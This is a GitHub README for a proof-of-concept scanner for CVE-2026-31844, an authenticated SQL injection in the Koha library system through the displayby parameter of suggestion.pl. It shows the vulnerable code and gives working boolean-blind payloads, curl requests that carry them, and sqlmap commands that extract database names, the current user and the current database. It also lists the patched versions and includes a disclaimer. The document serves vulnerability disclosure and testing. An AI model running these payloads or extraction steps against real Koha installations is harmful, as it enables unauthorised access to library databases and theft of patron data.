mothra-1/cve-2026-31844Authenticated SQL injection scanner for Koha Library Management System (CVE-2026-31844) using boolean-based blind technique to verify vulnerability and extract data.
This repository contains a responsible vulnerability POC for CVE-2026-31844, a high severity authenticated SQL injection vulnerability in the Koha Library Management System.
The vulnerability exists in the GetDistinctValues function in C4/Search.pm, which is called by the /cgi-bin/koha/suggestion/suggestion.pl script. It can be exploited via the displayby parameter.
The displayby parameter in the suggestion.pl script is used to construct a table-qualified column name, which is then passed to the GetDistinctValues function. However, this function directly embeds both the table name and column name into a raw SQL query without performing any input validation or parameterization.
As a result, an attacker can manipulate the displayby parameter to inject malicious SQL code into the query. Since the input is not sanitized before being included in the SQL statement, this behavior introduces a SQL Injection vulnerability, which may allow an attacker to execute arbitrary Boolean-Based Blind technique SQL commands on the database.
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
The scanner uses a Boolean-Based Blind technique to verify the vulnerability
By injecting conditional statements into the column name position, we can observe differential HTTP responses:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Subquery Error → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Valid Query → HTTP 200If the target returns a 500 for the true condition and a 200 for the false condition, the vulnerability is confirmed.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
You must provide valid credentials for a Koha staff account with the suggestions permission.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
For targets with self-signed SSL certificates:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
You can manually verify the vulnerability via curl. First, authenticate to the Koha staff interface and capture your CGISESSID cookie.
True Condition (Returns HTTP 500):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
False Condition (Returns HTTP 200):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap natively supports boolean-based blind injection. To automate data extraction, save a valid authenticated HTTP request to request.txt. Keep the csrf_token and CGISESSID cookies valid.
Example request.txt:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Run SQLMap with the boolean technique (--technique=B):
# Basic database extraction
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# Extract current user
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
Or run it directly from the command line:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
After some time, sqlmap will identify the correct payload.
If left unpatched, this vulnerability allows an authenticated attacker to:
Update to Koha version 24.11.12, 25.05.07, 25.11.01, or 26.05.00 (or later) which includes a fix for this vulnerability.
Raximov Shukrulloh (Mothra)
Telegram bot @MothraContact_bot
This proof of concept is provided for educational and defensive purposes only. Always obtain proper authorization before testing any system for vulnerabilities.
The author is not responsible for any misuse of this information. This proof of concept should only be used on systems you own or have explicit permission to test.